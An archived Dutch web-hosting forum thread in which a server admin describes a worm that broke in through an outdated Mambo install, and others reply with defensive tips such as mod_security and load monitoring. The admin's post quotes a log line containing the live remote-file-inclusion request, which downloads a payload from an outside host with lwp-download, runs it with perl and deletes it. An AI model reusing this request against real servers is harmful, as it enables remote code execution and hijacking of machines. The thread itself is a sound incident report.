PDA

Bekijk Volledige Versie : 'Gehacked' door 'kotfare' worm .. hoe te voorkomen vanaf nu ?



BoX
25/01/06, 21:33
Hallo,

Vandaag heeft een malafide script mijn server (CentOS 4.2) kunnen binnendringen via een verouderde Mambo versie.

Citaat uit access_log van het 'moment cruciale'.



access_log:208.50.235.127 - - [25/Jan/2006:06:39:43 +0100]
"GET index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1
&GLOBALS=&mosConfig_absolute_path=http://www.s0l4r1sr0x.com/tool.gif?&cmd=cd%20/tmp/;
lwp-download%20http://www.cuti.ch/cuti/sess3024_;perl%20sess3024_;rm%20-rf%20sess3024*
? HTTP/1.0" 200 25072 "-" "Mozilla/5.0"


Kortom: het script haalt via een fout in Mambo het zaakje binnen .. voert het dan uit via Perl .. en verwijdert zichzelf weer.

De source-code van het script is via de URL te extraheren .. en anders heb ik het nog wel.

Ik heb daarna alles ge-killed (processen met fakenaam 'kotfare') en gereboot en de betreffende client op inactief gezet.

Verder ook nog even 'forensisch' bezig geweest om zoveel mogelijk te checken inzake de integriteit.

Helaas heeft mijn server (GELUKKIG MAAR) een uur flink data liggen stouwen op 100 Mbit en 97% CPU (dus ik was DDOS donateur zeg maar). En dat kostte me dus ook aardig wat dataverkeer (10 GB).
Maar HOE kan ik dit nou voorkomen in de toekomst ?

- Is het te voorkomen dat de Perl binary door Apache wordt aangeroepen .. mijn klanten gebruiken voorzover ik weet toch geen Perl. Kan ik de binary zomaar chmodden naar 750 zonder wat te breken ?
(Doe ik ook altijd met 'wget' enzo).

- Bestaat er een soort monitoring tool , alert die mij meteen mailt als de CPU te lang op >50% blijft hangen .. of als de bandwidth te lang 100 Mbit is.

- Nog andere tips om het zaakje beter onder controle te krijgen ? Want als ik hier niet op tijd bij was geweest had het me veel geld gekost inzake dataverkeer !!

Domenico
25/01/06, 21:43
MOD_SECURITY had je hier wel kunnen helpen.

http://www.modsecurity.org/

BoX
25/01/06, 21:51
Yep die staat ook zeker op de to-do list. Met daarbij de gotroot.com rulez.

blaaat
25/01/06, 22:17
- Bestaat er een soort monitoring tool , alert die mij meteen mailt als de CPU te lang op >50% blijft hangen .. of als de bandwidth te lang 100 Mbit is.

Kijk is naar SIM monitor.. deze waarschuwd je dmv een emailtje bij te hoge loads (en restart evt zelf).. en let ook op of er services uitvallen en kan ze dan ook zelf weer opstarten ;)